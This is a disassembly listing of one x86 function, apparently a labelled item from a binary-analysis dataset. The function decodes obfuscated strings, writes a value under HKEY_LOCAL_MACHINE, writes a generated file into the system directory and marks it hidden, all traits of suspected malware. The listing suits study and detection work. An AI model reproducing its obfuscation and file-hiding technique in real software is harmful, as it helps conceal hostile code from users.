Function at 0x40e8e0
Capabilities:
Get common file path
Query or enumerate registry value
Set file attributes
Set registry value

Disassembly:
sub esp, 0x690
lea eax, [esp + 4]
push ebx
push esi
xor ebx, ebx
lea ecx, [esp + 8]
push edi
push eax
push ecx
push ebx
push 0xf003f
push ebx
push str.REG_SZ
push ebx
push ebx
push 0x7e
push 0x84
push 0x80
push 0x7c
push 0x47
push 0x47
push 0x80
push 0x77
push 0x6d
push 0x83
push 0x74
push 0x81
push 0x80
push 0x6d
push 0x77
push 0x4d
push 0x65
push 0x4d
push 0x59
push 0x47
push 0x5c
push 0x58
push 0x49
push 0x51
push 0x54
call fcn.0040d2c0
add esp, 0x68
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x40e96e
mov eax, 0xffffffff
pop edi
pop esi
pop ebx
add esp, 0x690
ret
cmp dword [esp + 0x10], 1
jne 0x40e9da
push 0
push 0
push 0
call fcn.004137ff
add esp, 4
push eax
lea eax, [esp + 0x68]
push eax
call fcn.0040ce30
lea edi, [esp + 0x5c]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
lea eax, [esp + 0x5c]
push ecx
push eax
push 1
push 0
push 0
push 0x49
push 0x4d
push 0x56
push 0x4e
push 0x44
call fcn.0040d2c0
add esp, 0x18
push eax
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40ea1e
mov eax, 0xffffffff
pop edi
pop esi
pop ebx
add esp, 0x690
ret
lea eax, [esp + 0x18]
lea ecx, [esp + 0x5c]
lea edx, [esp + 0x14]
push eax
push ecx
push edx
push 0
push 0
push 0x49
push 0x4d
push 0x56
push 0x4e
push 0x44
call fcn.0040d2c0
mov ecx, dword [esp + 0x34]
add esp, 0x18
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40ea1e
mov eax, 0xffffffff
pop edi
pop esi
pop ebx
add esp, 0x690
ret
lea eax, [esp + 0x9c]
push 0x7f
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x40ea41
mov eax, 0xffffffff
pop edi
pop esi
pop ebx
add esp, 0x690
ret
xor ecx, ecx
mov al, byte [ecx + 0x422008]
mov dl, 0xa
sub ah, ah
inc ecx
div dl
add al, 0x61
cmp ecx, 8
mov byte [esp + ecx + 0x16b], al
jl 0x40ea43
mov edi, 0x422dd4
sub eax, eax
mov byte [esp + ecx + 0x16c], 0
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x9c]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x16c]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x9c]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0
and ecx, 3
push 5
rep movsb byte es:[edi], byte [esi]
push 0x7a
push 0x75
push 0x66
push 0x2f
call fcn.0040d2c0
add esp, 0x18
mov edi, eax
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x9c]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x422dd0
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0xa0]
push eax
call fcn.00413f21
add esp, 8
mov esi, eax
test esi, esi
je 0x40eba3
push 0
push 0x4b0
push esi
call fcn.0041472e
add esp, 0xc
test eax, eax
je 0x40eb56
mov eax, 0xffffffed
pop edi
pop esi
pop ebx
add esp, 0x690
ret
lea eax, [esp + 0x11c]
push esi
push 0x50
push 1
push eax
call fcn.00414646
add esp, 0x10
test eax, eax
jne 0x40eb7e
mov eax, 0xffffffed
pop edi
pop esi
pop ebx
add esp, 0x690
ret
lea eax, [esp + 0x11c]
push 0x40
lea ecx, [esp + 0x20]
push eax
push ecx
call fcn.0040cec0
add esp, 0xc
push esi
call fcn.00413c43
add esp, 4
jmp 0x40ec91
lea eax, [esp + 0x9c]
push 0x422dcc
push eax
call fcn.00413f21
add esp, 8
mov esi, eax
test esi, esi
jne 0x40ebcd
mov eax, 0xffffffee
pop edi
pop esi
pop ebx
add esp, 0x690
ret
lea eax, [esp + 0x1ec]
push esi
push 0x4b0
push 1
push eax
call fcn.0041453c
add esp, 0x10
cmp eax, 0x4b0
je 0x40ebfb
mov eax, 0xffffffee
pop edi
pop esi
pop ebx
add esp, 0x690
ret
push 0
mov edi, 2
call fcn.004137ff
add esp, 4
push eax
call fcn.004144fb
add esp, 4
call fcn.00414505
push eax
push 0x422dc8
lea eax, [esp + ebx + 0x24]
push eax
call fcn.00412fea
add esp, 0xc
add ebx, eax
dec edi
jne 0x40ec13
lea edi, [esp + 0x1c]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
lea edi, [esp + 0x1c]
push esi
not ecx
sub eax, eax
lea ebx, [ecx - 1]
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [esp + 0x20]
push ecx
push 1
push eax
call fcn.0041453c
add esp, 0x10
sub ebx, eax
cmp ebx, 0xffffffff
je 0x40ec78
mov eax, 0xffffffee
pop edi
pop esi
pop ebx
add esp, 0x690
ret
push esi
call fcn.00413c43
lea eax, [esp + 0xa0]
add esp, 4
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edi, [esp + 0x5c]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
shr ecx, 2
mov esi, edi
mov ebx, dword [esp + 0x6a4]
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x1c]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
mov edi, ebx
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x690
ret